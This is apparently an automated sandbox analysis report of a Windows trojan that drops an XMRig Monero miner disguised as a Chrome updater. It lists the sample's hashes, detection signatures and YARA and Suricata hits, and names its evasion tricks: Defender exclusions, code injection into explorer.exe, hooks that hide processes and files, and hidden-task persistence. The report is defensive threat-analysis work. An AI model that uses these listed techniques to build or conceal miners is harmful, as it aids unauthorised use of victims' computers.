Windows Analysis Report
h2qWqtD73F.exe

Overview

General Information

Sample name: h2qWqtD73F.exe
renamed because original name is a hash value
Original sample name: d0c2dd0e059c5011ed2eee4c65122177.exe
Analysis ID: 1528505
MD5: d0c2dd0e059c5011ed2eee4c65122177
SHA1: a992a12930f59a9bff9a49337c004fef02a9fa4e
SHA256: 9db1d611bba928f40d86374641783083cda4f613236f3ec21ce62bcdeee9a6e6
Tags: 64exetrojan
Infos:

Detection

Xmrig
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (creates a PE file in dynamic memory)
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected Xmrig cryptocurrency miner
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Allocates memory in foreign processes
Contains functionality to compare user and computer (likely to detect sandboxes)
Contains functionality to inject code into remote processes
Creates a thread in another existing process (thread injection)
Found direct / indirect Syscall (likely to bypass EDR)
Found hidden mapped module (file has been removed from disk)
Found strings related to Crypto-Mining
Hooks files or directories query functions (used to hide files and directories)
Hooks processes query functions (used to hide processes)
Hooks registry keys query functions (used to hide registry keys)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Protects its processes via BreakOnTermination flag
Sample is not signed and drops a device driver
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious powershell command line found
Writes to foreign memory regions
Yara detected PersistenceViaHiddenTask
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (may stop execution after accessing registry keys)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Sigma detected: Uncommon Svchost Parent Process
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
xmrig According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: h2qWqtD73F.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\piukhnngkvtj.tmp Avira: detection malicious, Label: HEUR/AGEN.1362356
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Avira: detection malicious, Label: HEUR/AGEN.1329646
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe ReversingLabs: Detection: 55%
Multi AV Scanner detection for submitted file
Source: h2qWqtD73F.exe ReversingLabs: Detection: 55%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: h2qWqtD73F.exe Joe Sandbox ML: detected

Bitcoin Miner
barindex
Yara detected Xmrig cryptocurrency miner
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 20.2.updater.exe.7ff6dd49ea80.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.updater.exe.7ff6dd480000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.updater.exe.7ff6dd4bfc40.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.updater.exe.7ff6dd4e1860.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: updater.exe PID: 7012, type: MEMORYSTR
Found strings related to Crypto-Mining
Source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp String found in binary or memory: losestratum+tcp://
Source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp String found in binary or memory: cryptonight/0
Source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp String found in binary or memory: losestratum+tcp://
Source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp String found in binary or memory: -o, --url=URL URL of mining server
Source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp String found in binary or memory: Usage: xmrig [OPTIONS]
Source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp String found in binary or memory: Usage: xmrig [OPTIONS]

Compliance
barindex
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Unpacked PE file: 20.2.updater.exe.28471390000.1.unpack
Source: h2qWqtD73F.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: @C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: mbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831* source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: @\??\C:\Users\user\AppData\Local\Temp\wct4AB9.tmp.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: *@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\wct8ACF.tmp.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp
Source: Binary string: (@C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb*6 source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wz.pdB source: h2qWqtD73F.exe, 00000000.00000002.1416245582.00000200354F0000.00000004.00000001.00020000.00000000.sdmp, h2qWqtD73F.exe, 00000000.00000000.1297247842.00007FF752A5B000.00000008.00000001.01000000.00000003.sdmp, h2qWqtD73F.exe, 00000000.00000002.1417375531.00007FF752A80000.00000008.00000001.01000000.00000003.sdmp, updater.exe, 00000014.00000000.1417205334.00007FF6DD49B000.00000008.00000001.01000000.00000008.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2.error source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A583109edcd source: svchost.exe, 00000011.00000002.2628095786.0000020628040000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413494043.0000020628040000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831~1 source: svchost.exe, 00000011.00000002.2628095786.0000020628040000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413494043.0000020628040000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdbF source: svchost.exe, 00000011.00000002.2628095786.0000020628040000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413494043.0000020628040000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2.error source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: wz.pdBk source: h2qWqtD73F.exe, 00000000.00000002.1416245582.00000200354F0000.00000004.00000001.00020000.00000000.sdmp, h2qWqtD73F.exe, 00000000.00000000.1297247842.00007FF752A5B000.00000008.00000001.01000000.00000003.sdmp, h2qWqtD73F.exe, 00000000.00000002.1417375531.00007FF752A80000.00000008.00000001.01000000.00000003.sdmp, updater.exe, 00000014.00000000.1417205334.00007FF6DD49B000.00000008.00000001.01000000.00000008.sdmp
Source: Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831d0 source: svchost.exe, 00000011.00000000.1413550967.0000020628056000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.2628917838.0000020628056000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbl source: svchost.exe, 00000011.00000002.2626315265.000002062802B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000011.00000000.1413437595.000002062802B000.00000004.00000001.00020000.00000000.sdmp
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A69BE3C FindFirstFileExW, 8_2_000002EA8A69BE3C
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338EBE3C FindFirstFileExW, 9_2_000001CB338EBE3C
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027CBE3C FindFirstFileExW, 10_2_0000026E027CBE3C
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF1BE3C FindFirstFileExW, 11_2_000001C6CEF1BE3C
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304FBBE3C FindFirstFileExW, 12_2_0000025304FBBE3C
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C2116BE3C FindFirstFileExW, 13_2_0000016C2116BE3C
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211CBE3C FindFirstFileExW, 13_2_0000016C211CBE3C
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F4814BE3C FindFirstFileExW, 14_2_0000026F4814BE3C
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B9234BE3C FindFirstFileExW, 15_2_0000029B9234BE3C
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B923ABE3C FindFirstFileExW, 15_2_0000029B923ABE3C
Source: C:\Windows\System32\svchost.exe Code function: 16_2_0000020422AABE3C FindFirstFileExW, 16_2_0000020422AABE3C
Source: C:\Windows\System32\svchost.exe Code function: 17_2_00000206287BBE3C FindFirstFileExW, 17_2_00000206287BBE3C
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847139BE3C FindFirstFileExW, 20_2_000002847139BE3C
Source: C:\Windows\System32\svchost.exe Code function: 21_2_000001829254BE3C FindFirstFileExW, 21_2_000001829254BE3C
Source: C:\Windows\System32\svchost.exe Code function: 24_2_000001BB3DA6BE3C FindFirstFileExW, 24_2_000001BB3DA6BE3C
Source: C:\Windows\System32\svchost.exe Code function: 25_2_0000029ABCF4BE3C FindFirstFileExW, 25_2_0000029ABCF4BE3C
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DDBE3C FindFirstFileExW, 28_2_0000025E81DDBE3C
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD8BE3C FindFirstFileExW, 29_2_000001CD9AD8BE3C
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C39BE3C FindFirstFileExW, 31_2_000002AF8C39BE3C
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2036289 - Severity 2 - ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) : 192.168.2.11:63517 -> 1.1.1.1:53
Source: Network traffic Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.11:49871 -> 142.202.242.43:80
Source: lsass.exe, 00000009.00000000.1348006527.000001CB32A89000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert
Source: lsass.exe, 00000009.00000000.1348296101.000001CB33084000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2649685111.000001CB33084000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertG
Source: lsass.exe, 00000009.00000002.2648734905.000001CB33073000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348267728.000001CB33073000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2654483862.000001CB331C1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348472435.000001CB331C1000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: lsass.exe, 00000009.00000000.1348296101.000001CB33084000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2649685111.000001CB33084000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
Source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: powershell.exe, 00000006.00000002.1404686932.0000022851D80000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.mC&
Source: lsass.exe, 00000009.00000000.1348296101.000001CB33084000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2649685111.000001CB33084000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000009.00000002.2648734905.000001CB33073000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348267728.000001CB33073000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2654483862.000001CB331C1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348472435.000001CB331C1000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: lsass.exe, 00000009.00000000.1348296101.000001CB33084000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: lsass.exe, 00000009.00000002.2648734905.000001CB33073000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348267728.000001CB33073000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2654483862.000001CB331C1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348472435.000001CB331C1000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: lsass.exe, 00000009.00000002.2639344959.000001CB32A89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348006527.000001CB32A89000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: lsass.exe, 00000009.00000002.2645746107.000001CB33000000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348175734.000001CB33000000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: lsass.exe, 00000009.00000002.2636409774.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1347929432.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 00000009.00000002.2637267063.000001CB32A4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1347954124.000001CB32A4E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: lsass.exe, 00000009.00000002.2636409774.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1347929432.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: powershell.exe, 00000006.00000002.1396657039.0000022849456000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: lsass.exe, 00000009.00000000.1348296101.000001CB33084000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2648734905.000001CB33073000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348267728.000001CB33073000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2654483862.000001CB331C1000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2649685111.000001CB33084000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348006527.000001CB32A89000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348472435.000001CB331C1000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 00000009.00000000.1348296101.000001CB33084000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0:
Source: lsass.exe, 00000009.00000000.1348296101.000001CB33084000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1348006527.000001CB32A89000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://ocsp.msocsp.com0
Source: powershell.exe, 00000006.00000002.1373300100.0000022839608000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.1373300100.0000022839608000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: lsass.exe, 00000009.00000002.2636409774.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1347929432.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: lsass.exe, 00000009.00000002.2636409774.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1347929432.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: powershell.exe, 00000006.00000002.1373300100.00000228393E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 00000009.00000002.2637267063.000001CB32A4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2636409774.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1347929432.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1347954124.000001CB32A4E000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: powershell.exe, 00000006.00000002.1373300100.0000022839608000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2636409774.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1347929432.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 00000009.00000002.2636409774.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1347929432.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 00000009.00000002.2636409774.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1347929432.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: lsass.exe, 00000009.00000002.2636409774.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1347929432.000001CB32A2F000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/P
Source: powershell.exe, 00000006.00000002.1373300100.0000022839608000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000006.00000002.1404686932.0000022851E13000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000006.00000002.1404686932.0000022851E13000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.np
Source: powershell.exe, 00000006.00000002.1373300100.00000228393E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.1373300100.0000022839608000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1403630784.0000022851A20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000006.00000002.1396657039.0000022849456000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.1396657039.0000022849456000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.1396657039.0000022849456000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.1373300100.0000022839608000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.1396657039.0000022849456000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: updater.exe, 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp String found in binary or memory: https://xmrig.com/docs/algorithms

Operating System Destruction
barindex
Protects its processes via BreakOnTermination flag
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process information set: 01 00 00 00 Jump to behavior
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Process information set: 01 00 00 00 Jump to behavior

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 20.2.updater.exe.7ff6dd49ea80.7.raw.unpack, type: UNPACKEDPE Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 20.2.updater.exe.7ff6dd49ea80.7.raw.unpack, type: UNPACKEDPE Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 20.2.updater.exe.7ff6dd49ea80.7.raw.unpack, type: UNPACKEDPE Matched rule: Detects coinmining malware Author: ditekSHen
Source: 20.2.updater.exe.7ff6dd480000.4.unpack, type: UNPACKEDPE Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 20.2.updater.exe.7ff6dd480000.4.unpack, type: UNPACKEDPE Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 20.2.updater.exe.7ff6dd480000.4.unpack, type: UNPACKEDPE Matched rule: Detects coinmining malware Author: ditekSHen
Source: 20.2.updater.exe.7ff6dd4bfc40.5.raw.unpack, type: UNPACKEDPE Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 20.2.updater.exe.7ff6dd4bfc40.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 20.2.updater.exe.7ff6dd4bfc40.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects coinmining malware Author: ditekSHen
